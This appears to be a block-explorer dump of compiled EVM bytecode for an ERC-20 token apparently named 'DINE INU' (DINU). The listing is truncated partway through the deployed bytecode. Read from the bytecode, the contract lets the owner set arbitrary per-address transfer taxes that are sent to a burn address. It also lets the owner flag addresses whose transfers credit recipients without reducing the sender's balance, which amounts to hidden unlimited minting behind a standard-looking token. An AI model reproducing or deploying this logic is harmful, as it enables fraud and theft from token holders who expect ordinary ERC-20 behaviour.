60008160011c9050919050565b620009c5816200089d565b8114620009d157600080fd5b50565b6126ba80620009e46000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80636e653b69116100b8578063a457c2d71161007c578063a457c2d71461039d578063a9059cbb146103cd578063b19c65b8146103fd578063b9f36f1b1461041b578063d42ecf9d14610425578063dd62ed3e1461044157610142565b80636e653b69146102e757806370a082311461030357806372b3228e14610333578063947aca081461034f57806395d89b411461037f57610142565b8063313ce5671161010a578063313ce567146101ff578063395093511461021d57806349bd5a5e1461024d5780634fbec1771461026b578063506e6faf1461029b5780636c9992b3146102b757610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd1461019557806323b872dd146101b35780632c91d071146101e3575b600080fd5b61014f610471565b60405161015c919061221e565b60405180910390f35b61017f600480360381019061017a9190611d5e565b610503565b60405161018c9190612203565b60405180910390f35b61019d610526565b6040516101aa9190612380565b60405180910390f35b6101cd60048036038101906101c89190611cd3565b610530565b6040516101da9190612203565b60405180910390f35b6101fd60048036038101906101f89190611c6e565b61055f565b005b61020761063a565b604051610214919061239b565b60405180910390f35b61023760048036038101906102329190611d5e565b610643565b6040516102449190612203565b60405180910390f35b6102556106ec565b60405161026291906121e8565b60405180910390f35b61028560048036038101906102809190611c6e565b610712565b6040516102929190612203565b60405180910390f35b6102b560048036038101906102b09190611d5e565b6107ff565b005b6102d160048036038101906102cc9190611c6e565b610921565b6040516102de9190612203565b60405180910390f35b61030160048036038101906102fc9190611d22565b610a0e565b005b61031d60048036038101906103189190611c6e565b610b00565b60405161032a9190612380565b60405180910390f35b61034d60048036038101906103489190611c6e565b610b49565b005b61036960048036038101906103649190611c6e565b610c5c565b6040516103769190612380565b60405180910390f35b610387610d3c565b604051610394919061221e565b60405180910390f35b6103b760048036038101906103b29190611d5e565b610dce565b6040516103c49190612203565b60405180910390f35b6103e760048036038101906103e29190611d5e565b610eb7565b6040516103f49190612203565b60405180910390f35b610405610f94565b60405161041291906121e8565b60405180910390f35b610423610f99565b005b61043f600480360381019061043a9190611d9a565b61103c565b005b61045b60048036038101906104569190611c97565b6110dd565b6040516104689190612380565b60405180910390f35b6060600280546104809061256f565b80601f01602080910402602001604051908101604052809291908181526020018280546104ac9061256f565b80156104f95780601f106104ce576101008083540402835291602001916104f9565b820191906000526020600020905b8154815290600101906020018083116104dc57829003601f168201915b5050505050905090565b60008061050e611163565b905061051b81858561116b565b600191505092915050565b6000600154905090565b60008061053b611163565b9050610548858285611335565b6105538585856113c1565b60019150509392505050565b610567611163565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed90612320565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006012905090565b60008061064e611163565b90506106e18185856000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106dc91906123d2565b61116b565b600191505092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061071c611163565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a290612320565b60405180910390fd5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610807611163565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610896576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088d90612320565b60405180910390fd5b600081116108d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d090612260565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600061092b611163565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b190612320565b60405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610a16611163565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9c90612320565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b51611163565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd790612320565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c47906122e0565b60405180910390fd5b610c5981611a66565b50565b6000610c66611163565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cec90612320565b60405180910390fd5b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060038054610d4b9061256f565b80601f0160208091040260200160405190810160405280929190818152602001828054610d779061256f565b8015610dc45780601f10610d9957610100808354040283529160200191610dc4565b820191906000526020600020905b815481529060010190602001808311610da757829003601f168201915b5050505050905090565b600080610dd9611163565b905060008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610e9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9590612360565b60405180910390fd5b610eab828686840361116b565b60019250505092915050565b600080610ec2611163565b905060011515600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610f7d5782600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f6c91906123d2565b925050819055506001915050610f8e565b610f888185856113c1565b60019150505b92915050565b600090565b610fa1611163565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102790612320565b60405180910390fd5b61103a6000611a66565b565b611044611163565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ca90612320565b60405180910390fd5b8060088190555050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d290612340565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561124b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124290612280565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113289190612380565b60405180910390a3505050565b600061134184846110dd565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146113bb57818110156113ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a4906122a0565b60405180910390fd5b6113ba848484840361116b565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611431576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142890612300565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149890612240565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611528576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151f906122c0565b60405180910390fd5b6000600190506115388585611b2c565b1561154257600090505b6000811561170f5760008073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461165a57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156115fd5760085490505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614156116595760095490505b5b6000600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156116e557600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b61170b60646116fd8388611bd790919063ffffffff16565b611bed90919063ffffffff16565b9150505b60008111156118ae5761176a81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0390919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611801816005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1990919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118a59190612380565b60405180910390a35b61190b81856118bd91906124b3565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0390919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ab818561195d91906124b3565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1990919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8387611a4991906124b3565b604051611a569190612380565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f05342d6ea8345cfc0f563ad2fd98f2be2a36348b3c6635421c72e607830d7ac560405160405180910390a35050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bcf5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b60008183611be59190612459565b905092915050565b60008183611bfb9190612428565b905092915050565b60008183611c1191906124b3565b905092915050565b60008183611c2791906123d2565b905092915050565b600081359050611c3e8161263f565b92915050565b600081359050611c5381612656565b92915050565b600081359050611c688161266d565b92915050565b600060208284031215611c8057600080fd5b6000611c8e84828501611c2f565b91505092915050565b60008060408385031215611caa57600080fd5b6000611cb885828601611c2f565b9250506020611cc985828601611c2f565b9150509250929050565b600080600060608486031215611ce857600080fd5b6000611cf686828701611c2f565b9350506020611d0786828701611c2f565b9250506040611d1886828701611c59565b9150509250925092565b60008060408385031215611d3557600080fd5b6000611d4385828601611c2f565b9250506020611d5485828601611c44565b9150509250929050565b60008060408385031215611d7157600080fd5b6000611d7f85828601611c2f565b9250506020611d9085828601611c59565b9150509250929050565b600060208284031215611dac57600080fd5b6000611dba84828501611c59565b91505092915050565b611dcc816124e7565b82525050565b611ddb816124f9565b82525050565b6000611dec826123b6565b611df681856123c1565b9350611e0681856020860161253c565b611e0f8161262e565b840191505092915050565b6000611e276023836123c1565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611e8d602e836123c1565b91507f4163636f756e7420746178206d7573742062652067726561746572207468616e60008301527f206f7220657175616c20746f20310000000000000000000000000000000000006020830152604082019050919050565b6000611ef36022836123c1565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611f59601d836123c1565b91507f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006000830152602082019050919050565b6000611f996026836123c1565b91507f45524332303a207472616e7366657220416d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611fff6026836123c1565b91507f4f776e61626c653a206e6577206f776e617220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006120656025836123c1565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006120cb6020836123c1565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e61726000830152602082019050919050565b600061210b6024836123c1565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006121716025836123c1565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6121d381612525565b82525050565b6121e28161252f565b82525050565b60006020820190506121fd6000830184611dc3565b92915050565b60006020820190506122186000830184611dd2565b92915050565b600060208201905081810360008301526122388184611de1565b905092915050565b6000602082019050818103600083015261225981611e1a565b9050919050565b6000602082019050818103600083015261227981611e80565b9050919050565b6000602082019050818103600083015261229981611ee6565b9050919050565b600060208201905081810360008301526122b981611f4c565b9050919050565b600060208201905081810360008301526122d981611f8c565b9050919050565b600060208201905081810360008301526122f981611ff2565b9050919050565b6000602082019050818103600083015261231981612058565b9050919050565b60006020820190508181036000830152612339816120be565b9050919050565b60006020820190508181036000830152612359816120fe565b9050919050565b6000602082019050818103600083015261237981612164565b9050919050565b600060208201905061239560008301846121ca565b92915050565b60006020820190506123b060008301846121d9565b92915050565b600081519050919050565b600082825260208201905092915050565b60006123dd82612525565b91506123e883612525565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561241d5761241c6125a1565b5b828201905092915050565b600061243382612525565b915061243e83612525565b92508261244e5761244d6125d0565b5b828204905092915050565b600061246482612525565b915061246f83612525565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156124a8576124a76125a1565b5b828202905092915050565b60006124be82612525565b91506124c983612525565b9250828210156124dc576124db6125a1565b5b828203905092915050565b60006124f282612505565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561255a57808201518184015260208101905061253f565b83811115612569576000848401525b50505050565b6000600282049050600182168061258757607f821691505b6020821081141561259b5761259a6125ff565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b612648816124e7565b811461265357600080fd5b50565b61265f816124f9565b811461266a57600080fd5b50565b61267681612525565b811461268157600080fd5b5056fea26469706673582212204db646f002c6dd1ff758d186a1c8189318d40d3decba48c0ae4939451caccded64736f6c63430008000033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000061f313f880000000000000000000000000000000000000000000000000000000000000000846494e4520494e55000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000446494e5500000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c80636e653b69116100b8578063a457c2d71161007c578063a457c2d71461039d578063a9059cbb146103cd578063b19c65b8146103fd578063b9f36f1b1461041b578063d42ecf9d14610425578063dd62ed3e1461044157610142565b80636e653b69146102e757806370a082311461030357806372b3228e14610333578063947aca081461034f57806395d89b411461037f57610142565b8063313ce5671161010a578063313ce567146101ff578063395093511461021d57806349bd5a5e1461024d5780634fbec1771461026b578063506e6faf1461029b5780636c9992b3146102b757610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd1461019557806323b872dd146101b35780632c91d071146101e3575b600080fd5b61014f610471565b60405161015c919061221e565b60405180910390f35b61017f600480360381019061017a9190611d5e565b610503565b60405161018c9190612203565b60405180910390f35b61019d610526565b6040516101aa9190612380565b60405180910390f35b6101cd60048036038101906101c89190611cd3565b610530565b6040516101da9190612203565b60405180910390f35b6101fd60048036038101906101f89190611c6e565b61055f565b005b61020761063a565b604051610214919061239b565b60405180910390f35b61023760048036038101906102329190611d5e565b610643565b6040516102449190612203565b60405180910390f35b6102556106ec565b60405161026291906121e8565b60405180910390f35b61028560048036038101906102809190611c6e565b610712565b6040516102929190612203565b60405180910390f35b6102b560048036038101906102b09190611d5e565b6107ff565b005b6102d160048036038101906102cc9190611c6e565b610921565b6040516102de9190612203565b60405180910390f35b61030160048036038101906102fc9190611d22565b610a0e565b005b61031d60048036038101906103189190611c6e565b610b00565b60405161032a9190612380565b60405180910390f35b61034d60048036038101906103489190611c6e565b610b49565b005b61036960048036038101906103649190611c6e565b610c5c565b6040516103769190612380565b60405180910390f35b610387610d3c565b604051610394919061221e565b60405180910390f35b6103b760048036038101906103b29190611d5e565b610dce565b6040516103c49190612203565b60405180910390f35b6103e760048036038101906103e29190611d5e565b610eb7565b6040516103f49190612203565b60405180910390f35b610405610f94565b60405161041291906121e8565b60405180910390f35b610423610f99565b005b61043f600480360381019061043a9190611d9a565b61103c565b005b61045b60048036038101906104569190611c97565b6110dd565b6040516104689190612380565b60405180910390f35b6060600280546104809061256f565b80601f01602080910402602001604051908101604052809291908181526020018280546104ac9061256f565b80156104f95780601f106104ce576101008083540402835291602001916104f9565b820191906000526020600020905b8154815290600101906020018083116104dc57829003601f168201915b5050505050905090565b60008061050e611163565b905061051b81858561116b565b600191505092915050565b6000600154905090565b60008061053b611163565b9050610548858285611335565b6105538585856113c1565b60019150509392505050565b610567611163565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed90612320565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006012905090565b60008061064e611163565b90506106e18185856000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106dc91906123d2565b61116b565b600191505092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061071c611163565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a290612320565b60405180910390fd5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610807611163565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610896576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088d90612320565b60405180910390fd5b600081116108d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d090612260565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600061092b611163565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b190612320565b60405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610a16611163565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9c90612320565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b51611163565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd790612320565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c47906122e0565b60405180910390fd5b610c5981611a66565b50565b6000610c66611163565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cec90612320565b60405180910390fd5b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060038054610d4b9061256f565b80601f0160208091040260200160405190810160405280929190818152602001828054610d779061256f565b8015610dc45780601f10610d9957610100808354040283529160200191610dc4565b820191906000526020600020905b815481529060010190602001808311610da757829003601f168201915b5050505050905090565b600080610dd9611163565b905060008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610e9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9590612360565b60405180910390fd5b610eab828686840361116b565b60019250505092915050565b600080610ec2611163565b905060011515600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610f7d5782600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f6c91906123d2565b925050819055506001915050610f8e565b610f888185856113c1565b60019150505b92915050565b600090565b610fa1611163565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102790612320565b60405180910390fd5b61103a6000611a66565b565b611044611163565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ca90612320565b60405180910390fd5b8060088190555050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d290612340565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561124b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124290612280565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113289190612380565b60405180910390a3505050565b600061134184846110dd565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146113bb57818110156113ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a4906122a0565b60405180910390fd5b6113ba848484840361116b565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611431576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142890612300565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149890612240565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611528576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151f906122c0565b60405180910390fd5b6000600190506115388585611b2c565b1561154257600090505b6000811561170f5760008073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461165a57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156115fd5760085490505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614156116595760095490505b5b6000600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156116e557600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b61170b60646116fd8388611bd790919063ffffffff16565b611bed90919063ffffffff16565b9150505b60008111156118ae5761176a81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0390919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611801816005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1990919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118a59190612380565b60405180910390a35b61190b81856118bd91906124b3565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0390919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ab818561195d91906124b3565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1990919063ffffffff16565b600560008773ffffffffffffffffffffffffffff